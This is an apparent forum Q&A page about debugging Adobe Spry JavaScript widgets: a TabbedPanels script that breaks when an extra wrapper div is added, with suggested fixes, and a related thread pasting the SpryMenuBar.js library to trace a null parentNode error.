I have a group of tabs that change the main panel when clicked on. In order to change a particular color property, I need to insert an additional div into my HTML. However, when I do so, it cause an error in the javascript. I'm not a javascript expert, but I think the reason is that the script is calling for an element in a particular order. So when I throw a new element into the picture, it loses its track. Here's my HTML. Basically all the items in the ul are always visible, and when you click on one, it makes the corresponding content visible:
<div id="TabbedPanels">
<div id="TabbedPanels1" class="VTabbedPanels">
<div class="TabbedPanelsContentGroup">
<div class="TabbedPanelsContent">1</div>
<div class="TabbedPanelsContent">2</div>
<div class="TabbedPanelsContent">3</div>
</div>
<ul class="TabbedPanelsTabGroup">
<li class="TabbedPanelsTab" tabindex="0">1</li>
<li class="TabbedPanelsTab" tabindex="0">2</li>
<li class="TabbedPanelsTab" tabindex="0">3</li>
</ul>
</div>
</div>
So now I want to slip a div around theTabbedPanelsContentGroup div, but like I said, it messes everything up. Here's the complete js:
var Spry;
if (!Spry) Spry = {};
if (!Spry.Widget) Spry.Widget = {};
Spry.Widget.TabbedPanels = function(element, opts)
{
this.element = this.getElement(element);
this.defaultTab = 0; // Show the first panel by default.
this.tabSelectedClass = "TabbedPanelsTabSelected";
this.tabHoverClass = "TabbedPanelsTabHover";
this.tabFocusedClass = "TabbedPanelsTabFocused";
this.panelVisibleClass = "TabbedPanelsContentVisible";
this.focusElement = null;
this.hasFocus = false;
this.currentTabIndex = 0;
this.enableKeyboardNavigation = true;
this.nextPanelKeyCode = Spry.Widget.TabbedPanels.KEY_RIGHT;
this.previousPanelKeyCode = Spry.Widget.TabbedPanels.KEY_LEFT;
Spry.Widget.TabbedPanels.setOptions(this, opts);
// If the defaultTab is expressed as a number/index, convert
// it to an element.
if (typeof (this.defaultTab) == "number")
{
if (this.defaultTab < 0)
this.defaultTab = 0;
else
{
var count = this.getTabbedPanelCount();
if (this.defaultTab >= count)
this.defaultTab = (count > 1) ? (count - 1) : 0;
}
this.defaultTab = this.getTabs()[this.defaultTab];
}
// The defaultTab property is supposed to be the tab element for the tab content
// to show by default. The caller is allowed to pass in the element itself or the
// element's id, so we need to convert the current value to an element if necessary.
if (this.defaultTab)
this.defaultTab = this.getElement(this.defaultTab);
this.attachBehaviors();
};
Spry.Widget.TabbedPanels.prototype.getElement = function(ele)
{
if (ele && typeof ele == "string")
return document.getElementById(ele);
return ele;
};
Spry.Widget.TabbedPanels.prototype.getElementChildren = function(element)
{
var children = [];
var child = element.firstChild;
while (child)
{
if (child.nodeType == 1 /* Node.ELEMENT_NODE */)
children.push(child);
child = child.nextSibling;
}
return children;
};
Spry.Widget.TabbedPanels.prototype.addClassName = function(ele, className)
{
if (!ele || !className || (ele.className && ele.className.search(new RegExp("\\b" + className + "\\b")) != -1))
return;
ele.className += (ele.className ? " " : "") + className;
};
Spry.Widget.TabbedPanels.prototype.removeClassName = function(ele, className)
{
if (!ele || !className || (ele.className && ele.className.search(new RegExp("\\b" + className + "\\b")) == -1))
return;
ele.className = ele.className.replace(new RegExp("\\s*\\b" + className + "\\b", "g"), "");
};
Spry.Widget.TabbedPanels.setOptions = function(obj, optionsObj, ignoreUndefinedProps)
{
if (!optionsObj)
return;
for (var optionName in optionsObj)
{
if (ignoreUndefinedProps && optionsObj[optionName] == undefined)
continue;
obj[optionName] = optionsObj[optionName];
}
};
Spry.Widget.TabbedPanels.prototype.getTabGroup = function()
{
if (this.element)
{
var children = this.getElementChildren(this.element);
if (children.length)
return children[1];
}
return null;
};
Spry.Widget.TabbedPanels.prototype.getTabs = function()
{
var tabs = [];
var tg = this.getTabGroup();
if (tg)
tabs = this.getElementChildren(tg);
return tabs;
};
Spry.Widget.TabbedPanels.prototype.getContentPanelGroup = function()
{
if (this.element)
{
var children = this.getElementChildren(this.element);
if (children.length > 1)
return children[0];
}
return null;
};
Spry.Widget.TabbedPanels.prototype.getContentPanels = function()
{
var panels = [];
var pg = this.getContentPanelGroup();
if (pg)
panels = this.getElementChildren(pg);
return panels;
};
Spry.Widget.TabbedPanels.prototype.getIndex = function(ele, arr)
{
ele = this.getElement(ele);
if (ele && arr && arr.length)
{
for (var i = 0; i < arr.length; i++)
{
if (ele == arr[i])
return i;
}
}
return -1;
};
Spry.Widget.TabbedPanels.prototype.getTabIndex = function(ele)
{
var i = this.getIndex(ele, this.getTabs());
if (i < 0)
i = this.getIndex(ele, this.getContentPanels());
return i;
};
Spry.Widget.TabbedPanels.prototype.getCurrentTabIndex = function()
{
return this.currentTabIndex;
};
Spry.Widget.TabbedPanels.prototype.getTabbedPanelCount = function(ele)
{
return Math.min(this.getTabs().length, this.getContentPanels().length);
};
Spry.Widget.TabbedPanels.addEventListener = function(element, eventType, handler, capture)
{
try
{
if (element.addEventListener)
element.addEventListener(eventType, handler, capture);
else if (element.attachEvent)
element.attachEvent("on" + eventType, handler);
}
catch (e) {}
};
Spry.Widget.TabbedPanels.prototype.cancelEvent = function(e)
{
if (e.preventDefault) e.preventDefault();
else e.returnValue = false;
if (e.stopPropagation) e.stopPropagation();
else e.cancelBubble = true;
return false;
};
Spry.Widget.TabbedPanels.prototype.onTabClick = function(e, tab)
{
this.showPanel(tab);
return this.cancelEvent(e);
};
Spry.Widget.TabbedPanels.prototype.onTabMouseOver = function(e, tab)
{
this.addClassName(tab, this.tabHoverClass);
return false;
};
Spry.Widget.TabbedPanels.prototype.onTabMouseOut = function(e, tab)
{
this.removeClassName(tab, this.tabHoverClass);
return false;
};
Spry.Widget.TabbedPanels.prototype.onTabFocus = function(e, tab)
{
this.hasFocus = true;
this.addClassName(tab, this.tabFocusedClass);
return false;
};
Spry.Widget.TabbedPanels.prototype.onTabBlur = function(e, tab)
{
this.hasFocus = false;
this.removeClassName(tab, this.tabFocusedClass);
return false;
};
Spry.Widget.TabbedPanels.KEY_UP = 38;
Spry.Widget.TabbedPanels.KEY_DOWN = 40;
Spry.Widget.TabbedPanels.KEY_LEFT = 37;
Spry.Widget.TabbedPanels.KEY_RIGHT = 39;
Spry.Widget.TabbedPanels.prototype.onTabKeyDown = function(e, tab)
{
var key = e.keyCode;
if (!this.hasFocus || (key != this.previousPanelKeyCode && key != this.nextPanelKeyCode))
return true;
var tabs = this.getTabs();
for (var i =0; i < tabs.length; i++)
if (tabs[i] == tab)
{
var el = false;
if (key == this.previousPanelKeyCode && i > 0)
el = tabs[i-1];
else if (key == this.nextPanelKeyCode && i < tabs.length-1)
el = tabs[i+1];
if (el)
{
this.showPanel(el);
el.focus();
break;
}
}
return this.cancelEvent(e);
};
Spry.Widget.TabbedPanels.prototype.preorderTraversal = function(root, func)
{
var stopTraversal = false;
if (root)
{
stopTraversal = func(root);
if (root.hasChildNodes())
{
var child = root.firstChild;
while (!stopTraversal && child)
{
stopTraversal = this.preorderTraversal(child, func);
try { child = child.nextSibling; } catch (e) { child = null; }
}
}
}
return stopTraversal;
};
Spry.Widget.TabbedPanels.prototype.addPanelEventListeners = function(tab, panel)
{
var self = this;
Spry.Widget.TabbedPanels.addEventListener(tab, "click", function(e) { return self.onTabClick(e, tab); }, false);
Spry.Widget.TabbedPanels.addEventListener(tab, "mouseover", function(e) { return self.onTabMouseOver(e, tab); }, false);
Spry.Widget.TabbedPanels.addEventListener(tab, "mouseout", function(e) { return self.onTabMouseOut(e, tab); }, false);
if (this.enableKeyboardNavigation)
{
// XXX: IE doesn't allow the setting of tabindex dynamically. This means we can't
// rely on adding the tabindex attribute if it is missing to enable keyboard navigation
// by default.
// Find the first element within the tab container that has a tabindex or the first
// anchor tag.
var tabIndexEle = null;
var tabAnchorEle = null;
this.preorderTraversal(tab, function(node) {
if (node.nodeType == 1 /* NODE.ELEMENT_NODE */)
{
var tabIndexAttr = tab.attributes.getNamedItem("tabindex");
if (tabIndexAttr)
{
tabIndexEle = node;
return true;
}
if (!tabAnchorEle && node.nodeName.toLowerCase() == "a")
tabAnchorEle = node;
}
return false;
});
if (tabIndexEle)
this.focusElement = tabIndexEle;
else if (tabAnchorEle)
this.focusElement = tabAnchorEle;
if (this.focusElement)
{
Spry.Widget.TabbedPanels.addEventListener(this.focusElement, "focus", function(e) { return self.onTabFocus(e, tab); }, false);
Spry.Widget.TabbedPanels.addEventListener(this.focusElement, "blur", function(e) { return self.onTabBlur(e, tab); }, false);
Spry.Widget.TabbedPanels.addEventListener(this.focusElement, "keydown", function(e) { return self.onTabKeyDown(e, tab); }, false);
}
}
};
Spry.Widget.TabbedPanels.prototype.showPanel = function(elementOrIndex)
{
var tpIndex = -1;
if (typeof elementOrIndex == "number")
tpIndex = elementOrIndex;
else // Must be the element for the tab or content panel.
tpIndex = this.getTabIndex(elementOrIndex);
if (!tpIndex < 0 || tpIndex >= this.getTabbedPanelCount())
return;
var tabs = this.getTabs();
var panels = this.getContentPanels();
var numTabbedPanels = Math.max(tabs.length, panels.length);
for (var i = 0; i < numTabbedPanels; i++)
{
if (i != tpIndex)
{
if (tabs[i])
this.removeClassName(tabs[i], this.tabSelectedClass);
if (panels[i])
{
this.removeClassName(panels[i], this.panelVisibleClass);
panels[i].style.display = "none";
}
}
}
this.addClassName(tabs[tpIndex], this.tabSelectedClass);
this.addClassName(panels[tpIndex], this.panelVisibleClass);
panels[tpIndex].style.display = "block";
this.currentTabIndex = tpIndex;
};
Spry.Widget.TabbedPanels.prototype.attachBehaviors = function(element)
{
var tabs = this.getTabs();
var panels = this.getContentPanels();
var panelCount = this.getTabbedPanelCount();
for (var i = 0; i < panelCount; i++)
this.addPanelEventListeners(tabs[i], panels[i]);
this.showPanel(this.defaultTab);
};
I think it could work if I could just figure out where in the js to bypass the new element I'm inserting. Thanks a lot.
You should be able to achieve styling, like changing some color without the need to resort to additional divs. Just add a class to the top div and change your css accordingly
If you currently initialize with Spry.Widget.TabbedPanels('TabbedPanels'), changing it to Spry.Widget.TabbedPanels('TabbedPanels1') should do the trick.. (if i understand your problem and edits correctly)
A simple solution is to put additional styles on each TabbedPanelsContent element. You can add the same children <div> for styling in each tab. For another solution, I have not tested this, but a change like the following might work:
Spry.Widget.TabbedPanels.prototype.getContentPanelGroup = function()
{
if (this.element)
{
var children = this.getElementChildren(this.element);
if (children.length > 1)
{
var subchildren = this.getElementChildren(children[0]);
return subchildren[0];
}
}
return null;
};
Related
Hey guys just wondering if you could help?
I have not done coding in a while but I said id help a friend out with fixing a live website that a prev dev wrecked.
I'm trying to get the menu links to go to the right files,
https://www.lloydbowmaker.com/
The furthest I've gotten is
Spry.Widget.MenuBar.prototype.bubbledTextEvent = function()
{
return Spry.is.safari && (event.target == event.relatedTarget.parentNode || (event.eventPhase == 3 && event.target.parentNode == event.relatedTarget));
};
There's an issue with this javascript code it keeps coming up with an error Cannot read properties of null (reading 'parentNode').
also, the website has gone to the Japanese language on google when searched.
if anyone could give hints on help to fix these that would be incredible :)
// SpryMenuBar.js - version 0.13 - Spry Pre-Release 1.6.1
//enter code here
// Copyright (c) 2006. Adobe Systems Incorporated.
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
// * Neither the name of Adobe Systems Incorporated nor the names of its
// contributors may be used to endorse or promote products derived from this
// software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
/*******************************************************************************
SpryMenuBar.js
This file handles the JavaScript for Spry Menu Bar. You should have no need
to edit this file. Some highlights of the MenuBar object is that timers are
used to keep submenus from showing up until the user has hovered over the parent
menu item for some time, as well as a timer for when they leave a submenu to keep
showing that submenu until the timer fires.
*******************************************************************************/
(function() { // BeginSpryComponent
if (typeof Spry == "undefined") window.Spry = {}; if (!Spry.Widget) Spry.Widget = {};
Spry.BrowserSniff = function()
{
var b = navigator.appName.toString();
var up = navigator.platform.toString();
var ua = navigator.userAgent.toString();
this.mozilla = this.ie = this.opera = this.safari = false;
var re_opera = /Opera.([0-9\.]*)/i;
var re_msie = /MSIE.([0-9\.]*)/i;
var re_gecko = /gecko/i;
var re_safari = /(applewebkit|safari)\/([\d\.]*)/i;
var r = false;
if ( (r = ua.match(re_opera))) {
this.opera = true;
this.version = parseFloat(r[1]);
} else if ( (r = ua.match(re_msie))) {
this.ie = true;
this.version = parseFloat(r[1]);
} else if ( (r = ua.match(re_safari))) {
this.safari = true;
this.version = parseFloat(r[2]);
} else if (ua.match(re_gecko)) {
var re_gecko_version = /rv:\s*([0-9\.]+)/i;
r = ua.match(re_gecko_version);
this.mozilla = true;
this.version = parseFloat(r[1]);
}
this.windows = this.mac = this.linux = false;
this.Platform = ua.match(/windows/i) ? "windows" :
(ua.match(/linux/i) ? "linux" :
(ua.match(/mac/i) ? "mac" :
ua.match(/unix/i)? "unix" : "unknown"));
this[this.Platform] = true;
this.v = this.version;
if (this.safari && this.mac && this.mozilla) {
this.mozilla = false;
}
};
Spry.is = new Spry.BrowserSniff();
// Constructor for Menu Bar
// element should be an ID of an unordered list (<ul> tag)
// preloadImage1 and preloadImage2 are images for the rollover state of a menu
Spry.Widget.MenuBar = function(element, opts)
{
this.init(element, opts);
};
Spry.Widget.MenuBar.prototype.init = function(element, opts)
{
this.element = this.getElement(element);
// represents the current (sub)menu we are operating on
this.currMenu = null;
this.showDelay = 250;
this.hideDelay = 600;
if(typeof document.getElementById == 'undefined' || (navigator.vendor == 'Apple Computer, Inc.' && typeof window.XMLHttpRequest == 'undefined') || (Spry.is.ie && typeof document.uniqueID == 'undefined'))
{
// bail on older unsupported browsers
return;
}
// Fix IE6 CSS images flicker
if (Spry.is.ie && Spry.is.version < 7){
try {
document.execCommand("BackgroundImageCache", false, true);
} catch(err) {}
}
this.upKeyCode = Spry.Widget.MenuBar.KEY_UP;
this.downKeyCode = Spry.Widget.MenuBar.KEY_DOWN;
this.leftKeyCode = Spry.Widget.MenuBar.KEY_LEFT;
this.rightKeyCode = Spry.Widget.MenuBar.KEY_RIGHT;
this.escKeyCode = Spry.Widget.MenuBar.KEY_ESC;
this.hoverClass = 'MenuBarItemHover';
this.subHoverClass = 'MenuBarItemSubmenuHover';
this.subVisibleClass ='MenuBarSubmenuVisible';
this.hasSubClass = 'MenuBarItemSubmenu';
this.activeClass = 'MenuBarActive';
this.isieClass = 'MenuBarItemIE';
this.verticalClass = 'MenuBarVertical';
this.horizontalClass = 'MenuBarHorizontal';
this.enableKeyboardNavigation = true;
this.hasFocus = false;
// load hover images now
if(opts)
{
for(var k in opts)
{
if (typeof this[k] == 'undefined')
{
var rollover = new Image;
rollover.src = opts[k];
}
}
Spry.Widget.MenuBar.setOptions(this, opts);
}
// safari doesn't support tabindex
if (Spry.is.safari)
this.enableKeyboardNavigation = false;
if(this.element)
{
this.currMenu = this.element;
var items = this.element.getElementsByTagName('li');
for(var i=0; i<items.length; i++)
{
if (i > 0 && this.enableKeyboardNavigation)
items[i].getElementsByTagName('a')[0].tabIndex='-1';
this.initialize(items[i], element);
if(Spry.is.ie)
{
this.addClassName(items[i], this.isieClass);
items[i].style.position = "static";
}
}
if (this.enableKeyboardNavigation)
{
var self = this;
this.addEventListener(document, 'keydown', function(e){self.keyDown(e); }, false);
}
if(Spry.is.ie)
{
if(this.hasClassName(this.element, this.verticalClass))
{
this.element.style.position = "relative";
}
var linkitems = this.element.getElementsByTagName('a');
for(var i=0; i<linkitems.length; i++)
{
linkitems[i].style.position = "relative";
}
}
}
};
Spry.Widget.MenuBar.KEY_ESC = 27;
Spry.Widget.MenuBar.KEY_UP = 38;
Spry.Widget.MenuBar.KEY_DOWN = 40;
Spry.Widget.MenuBar.KEY_LEFT = 37;
Spry.Widget.MenuBar.KEY_RIGHT = 39;
Spry.Widget.MenuBar.prototype.getElement = function(ele)
{
if (ele && typeof ele == "string")
return document.getElementById(ele);
return ele;
};
Spry.Widget.MenuBar.prototype.hasClassName = function(ele, className)
{
if (!ele || !className || !ele.className || ele.className.search(new RegExp("\\b" + className + "\\b")) == -1)
{
return false;
}
return true;
};
Spry.Widget.MenuBar.prototype.addClassName = function(ele, className)
{
if (!ele || !className || this.hasClassName(ele, className))
return;
ele.className += (ele.className ? " " : "") + className;
};
Spry.Widget.MenuBar.prototype.removeClassName = function(ele, className)
{
if (!ele || !className || !this.hasClassName(ele, className))
return;
ele.className = ele.className.replace(new RegExp("\\s*\\b" + className + "\\b", "g"), "");
};
// addEventListener for Menu Bar
// attach an event to a tag without creating obtrusive HTML code
Spry.Widget.MenuBar.prototype.addEventListener = function(element, eventType, handler, capture)
{
try
{
if (element.addEventListener)
{
element.addEventListener(eventType, handler, capture);
}
else if (element.attachEvent)
{
element.attachEvent('on' + eventType, handler);
}
}
catch (e) {}
};
// createIframeLayer for Menu Bar
// creates an IFRAME underneath a menu so that it will show above form controls and ActiveX
Spry.Widget.MenuBar.prototype.createIframeLayer = function(menu)
{
var layer = document.createElement('iframe');
layer.tabIndex = '-1';
layer.src = 'javascript:""';
layer.frameBorder = '0';
layer.scrolling = 'no';
menu.parentNode.appendChild(layer);
layer.style.left = menu.offsetLeft + 'px';
layer.style.top = menu.offsetTop + 'px';
layer.style.width = menu.offsetWidth + 'px';
layer.style.height = menu.offsetHeight + 'px';
};
// removeIframeLayer for Menu Bar
// removes an IFRAME underneath a menu to reveal any form controls and ActiveX
Spry.Widget.MenuBar.prototype.removeIframeLayer = function(menu)
{
var layers = ((menu == this.element) ? menu : menu.parentNode).getElementsByTagName('iframe');
while(layers.length > 0)
{
layers[0].parentNode.removeChild(layers[0]);
}
};
// clearMenus for Menu Bar
// root is the top level unordered list (<ul> tag)
Spry.Widget.MenuBar.prototype.clearMenus = function(root)
{
var menus = root.getElementsByTagName('ul');
for(var i=0; i<menus.length; i++)
this.hideSubmenu(menus[i]);
this.removeClassName(this.element, this.activeClass);
};
// bubbledTextEvent for Menu Bar
// identify bubbled up text events in Safari so we can ignore them
Spry.Widget.MenuBar.prototype.bubbledTextEvent = function()
{
return Spry.is.safari && (event.target == event.relatedTarget.parentNode || (event.eventPhase == 3 && event.target.parentNode == event.relatedTarget));
};
// showSubmenu for Menu Bar
// set the proper CSS class on this menu to show it
Spry.Widget.MenuBar.prototype.showSubmenu = function(menu)
{
if(this.currMenu)
{
this.clearMenus(this.currMenu);
this.currMenu = null;
}
if(menu)
{
this.addClassName(menu, this.subVisibleClass);
if(typeof document.all != 'undefined' && !Spry.is.opera && navigator.vendor != 'KDE')
{
if(!this.hasClassName(this.element, this.horizontalClass) || menu.parentNode.parentNode != this.element)
{
menu.style.top = menu.parentNode.offsetTop + 'px';
}
}
if(Spry.is.ie && Spry.is.version < 7)
{
this.createIframeLayer(menu);
}
}
this.addClassName(this.element, this.activeClass);
};
// hideSubmenu for Menu Bar
// remove the proper CSS class on this menu to hide it
Spry.Widget.MenuBar.prototype.hideSubmenu = function(menu)
{
if(menu)
{
this.removeClassName(menu, this.subVisibleClass);
if(typeof document.all != 'undefined' && !Spry.is.opera && navigator.vendor != 'KDE')
{
menu.style.top = '';
menu.style.left = '';
}
if(Spry.is.ie && Spry.is.version < 7)
this.removeIframeLayer(menu);
}
};
// initialize for Menu Bar
// create event listeners for the Menu Bar widget so we can properly
// show and hide submenus
Spry.Widget.MenuBar.prototype.initialize = function(listitem, element)
{
var opentime, closetime;
var link = listitem.getElementsByTagName('a')[0];
var submenus = listitem.getElementsByTagName('ul');
var menu = (submenus.length > 0 ? submenus[0] : null);
if(menu)
this.addClassName(link, this.hasSubClass);
if(!Spry.is.ie)
{
// define a simple function that comes standard in IE to determine
// if a node is within another node
listitem.contains = function(testNode)
{
// this refers to the list item
if(testNode == null)
return false;
if(testNode == this)
return true;
else
return this.contains(testNode.parentNode);
};
}
// need to save this for scope further down
var self = this;
this.addEventListener(listitem, 'mouseover', function(e){self.mouseOver(listitem, e);}, false);
this.addEventListener(listitem, 'mouseout', function(e){if (self.enableKeyboardNavigation) self.clearSelection(); self.mouseOut(listitem, e);}, false);
if (this.enableKeyboardNavigation)
{
this.addEventListener(link, 'blur', function(e){self.onBlur(listitem);}, false);
this.addEventListener(link, 'focus', function(e){self.keyFocus(listitem, e);}, false);
}
};
Spry.Widget.MenuBar.prototype.keyFocus = function (listitem, e)
{
this.lastOpen = listitem.getElementsByTagName('a')[0];
this.addClassName(this.lastOpen, listitem.getElementsByTagName('ul').length > 0 ? this.subHoverClass : this.hoverClass);
this.hasFocus = true;
};
Spry.Widget.MenuBar.prototype.onBlur = function (listitem)
{
this.clearSelection(listitem);
};
Spry.Widget.MenuBar.prototype.clearSelection = function(el){
//search any intersection with the current open element
if (!this.lastOpen)
return;
if (el)
{
el = el.getElementsByTagName('a')[0];
// check children
var item = this.lastOpen;
while (item != this.element)
{
var tmp = el;
while (tmp != this.element)
{
if (tmp == item)
return;
try{
tmp = tmp.parentNode;
}catch(err){break;}
}
item = item.parentNode;
}
}
var item = this.lastOpen;
while (item != this.element)
{
this.hideSubmenu(item.parentNode);
var link = item.getElementsByTagName('a')[0];
this.removeClassName(link, this.hoverClass);
this.removeClassName(link, this.subHoverClass);
item = item.parentNode;
}
this.lastOpen = false;
};
Spry.Widget.MenuBar.prototype.keyDown = function (e)
{
if (!this.hasFocus)
return;
if (!this.lastOpen)
{
this.hasFocus = false;
return;
}
var e = e|| event;
var listitem = this.lastOpen.parentNode;
var link = this.lastOpen;
var submenus = listitem.getElementsByTagName('ul');
var menu = (submenus.length > 0 ? submenus[0] : null);
var hasSubMenu = (menu) ? true : false;
var opts = [listitem, menu, null, this.getSibling(listitem, 'previousSibling'), this.getSibling(listitem, 'nextSibling')];
if (!opts[3])
opts[2] = (listitem.parentNode.parentNode.nodeName.toLowerCase() == 'li')?listitem.parentNode.parentNode:null;
var found = 0;
switch (e.keyCode){
case this.upKeyCode:
found = this.getElementForKey(opts, 'y', 1);
break;
case this.downKeyCode:
found = this.getElementForKey(opts, 'y', -1);
break;
case this.leftKeyCode:
found = this.getElementForKey(opts, 'x', 1);
break;
case this.rightKeyCode:
found = this.getElementForKey(opts, 'x', -1);
break;
case this.escKeyCode:
case 9:
this.clearSelection();
this.hasFocus = false;
default: return;
}
switch (found)
{
case 0: return;
case 1:
//subopts
this.mouseOver(listitem, e);
break;
case 2:
//parent
this.mouseOut(opts[2], e);
break;
case 3:
case 4:
// left - right
this.removeClassName(link, hasSubMenu ? this.subHoverClass : this.hoverClass);
break;
}
var link = opts[found].getElementsByTagName('a')[0];
if (opts[found].nodeName.toLowerCase() == 'ul')
opts[found] = opts[found].getElementsByTagName('li')[0];
this.addClassName(link, opts[found].getElementsByTagName('ul').length > 0 ? this.subHoverClass : this.hoverClass);
this.lastOpen = link;
opts[found].getElementsByTagName('a')[0].focus();
//stop further event handling by the browser
return Spry.Widget.MenuBar.stopPropagation(e);
};
Spry.Widget.MenuBar.prototype.mouseOver = function (listitem, e)
{
var link = listitem.getElementsByTagName('a')[0];
var submenus = listitem.getElementsByTagName('ul');
var menu = (submenus.length > 0 ? submenus[0] : null);
var hasSubMenu = (menu) ? true : false;
if (this.enableKeyboardNavigation)
this.clearSelection(listitem);
if(this.bubbledTextEvent())
{
// ignore bubbled text events
return;
}
if (listitem.closetime)
clearTimeout(listitem.closetime);
if(this.currMenu == listitem)
{
this.currMenu = null;
}
// move the focus too
if (this.hasFocus)
link.focus();
// show menu highlighting
this.addClassName(link, hasSubMenu ? this.subHoverClass : this.hoverClass);
this.lastOpen = link;
if(menu && !this.hasClassName(menu, this.subHoverClass))
{
var self = this;
listitem.opentime = window.setTimeout(function(){self.showSubmenu(menu);}, this.showDelay);
}
};
Spry.Widget.MenuBar.prototype.mouseOut = function (listitem, e)
{
var link = listitem.getElementsByTagName('a')[0];
var submenus = listitem.getElementsByTagName('ul');
var menu = (submenus.length > 0 ? submenus[0] : null);
var hasSubMenu = (menu) ? true : false;
if(this.bubbledTextEvent())
{
// ignore bubbled text events
return;
}
var related = (typeof e.relatedTarget != 'undefined' ? e.relatedTarget : e.toElement);
if(!listitem.contains(related))
{
if (listitem.opentime)
clearTimeout(listitem.opentime);
this.currMenu = listitem;
// remove menu highlighting
this.removeClassName(link, hasSubMenu ? this.subHoverClass : this.hoverClass);
if(menu)
{
var self = this;
listitem.closetime = window.setTimeout(function(){self.hideSubmenu(menu);}, this.hideDelay);
}
if (this.hasFocus)
link.blur();
}
};
Spry.Widget.MenuBar.prototype.getSibling = function(element, sibling)
{
var child = element[sibling];
while (child && child.nodeName.toLowerCase() !='li')
child = child[sibling];
return child;
};
Spry.Widget.MenuBar.prototype.getElementForKey = function(els, prop, dir)
{
var found = 0;
var rect = Spry.Widget.MenuBar.getPosition;
var ref = rect(els[found]);
var hideSubmenu = false;
//make the subelement visible to compute the position
if (els[1] && !this.hasClassName(els[1], this.MenuBarSubmenuVisible))
{
els[1].style.visibility = 'hidden';
this.showSubmenu(els[1]);
hideSubmenu = true;
}
var isVert = this.hasClassName(this.element, this.verticalClass);
var hasParent = els[0].parentNode.parentNode.nodeName.toLowerCase() == 'li' ? true : false;
for (var i = 1; i < els.length; i++){
//when navigating on the y axis in vertical menus, ignore children and parents
if(prop=='y' && isVert && (i==1 || i==2))
{
continue;
}
//when navigationg on the x axis in the FIRST LEVEL of horizontal menus, ignore children and parents
if(prop=='x' && !isVert && !hasParent && (i==1 || i==2))
{
continue;
}
if (els[i])
{
var tmp = rect(els[i]);
if ( (dir * tmp[prop]) < (dir * ref[prop]))
{
ref = tmp;
found = i;
}
}
}
// hide back the submenu
if (els[1] && hideSubmenu){
this.hideSubmenu(els[1]);
els[1].style.visibility = '';
}
return found;
};
Spry.Widget.MenuBar.camelize = function(str)
{
if (str.indexOf('-') == -1){
return str;
}
var oStringList = str.split('-');
var isFirstEntry = true;
var camelizedString = '';
for(var i=0; i < oStringList.length; i++)
{
if(oStringList[i].length>0)
{
if(isFirstEntry)
{
camelizedString = oStringList[i];
isFirstEntry = false;
}
else
{
var s = oStringList[i];
camelizedString += s.charAt(0).toUpperCase() + s.substring(1);
}
}
}
return camelizedString;
};
Spry.Widget.MenuBar.getStyleProp = function(element, prop)
{
var value;
try
{
if (element.style)
value = element.style[Spry.Widget.MenuBar.camelize(prop)];
if (!value)
if (document.defaultView && document.defaultView.getComputedStyle)
{
var css = document.defaultView.getComputedStyle(element, null);
value = css ? css.getPropertyValue(prop) : null;
}
else if (element.currentStyle)
{
value = element.currentStyle[Spry.Widget.MenuBar.camelize(prop)];
}
}
catch (e) {}
return value == 'auto' ? null : value;
};
Spry.Widget.MenuBar.getIntProp = function(element, prop)
{
var a = parseInt(Spry.Widget.MenuBar.getStyleProp(element, prop),10);
if (isNaN(a))
return 0;
return a;
};
Spry.Widget.MenuBar.getPosition = function(el, doc)
{
doc = doc || document;
if (typeof(el) == 'string') {
el = doc.getElementById(el);
}
if (!el) {
return false;
}
if (el.parentNode === null || Spry.Widget.MenuBar.getStyleProp(el, 'display') == 'none') {
//element must be visible to have a box
return false;
}
var ret = {x:0, y:0};
var parent = null;
var box;
if (el.getBoundingClientRect) { // IE
box = el.getBoundingClientRect();
var scrollTop = doc.documentElement.scrollTop || doc.body.scrollTop;
var scrollLeft = doc.documentElement.scrollLeft || doc.body.scrollLeft;
ret.x = box.left + scrollLeft;
ret.y = box.top + scrollTop;
} else if (doc.getBoxObjectFor) { // gecko
box = doc.getBoxObjectFor(el);
ret.x = box.x;
ret.y = box.y;
} else { // safari/opera
ret.x = el.offsetLeft;
ret.y = el.offsetTop;
parent = el.offsetParent;
if (parent != el) {
while (parent) {
ret.x += parent.offsetLeft;
ret.y += parent.offsetTop;
parent = parent.offsetParent;
}
}
// opera & (safari absolute) incorrectly account for body offsetTop
if (Spry.is.opera || Spry.is.safari && Spry.Widget.MenuBar.getStyleProp(el, 'position') == 'absolute')
ret.y -= doc.body.offsetTop;
}
if (el.parentNode)
parent = el.parentNode;
else
parent = null;
if (parent.nodeName){
var cas = parent.nodeName.toUpperCase();
while (parent && cas != 'BODY' && cas != 'HTML') {
cas = parent.nodeName.toUpperCase();
ret.x -= parent.scrollLeft;
ret.y -= parent.scrollTop;
if (parent.parentNode)
parent = parent.parentNode;
else
parent = null;
}
}
return ret;
};
Spry.Widget.MenuBar.stopPropagation = function(ev)
{
if (ev.stopPropagation)
ev.stopPropagation();
else
ev.cancelBubble = true;
if (ev.preventDefault)
ev.preventDefault();
else
ev.returnValue = false;
};
Spry.Widget.MenuBar.setOptions = function(obj, optionsObj, ignoreUndefinedProps)
{
if (!optionsObj)
return;
for (var optionName in optionsObj)
{
if (ignoreUndefinedProps && optionsObj[optionName] == undefined)
continue;
obj[optionName] = optionsObj[optionName];
}
};
})(); // EndSpryComponent
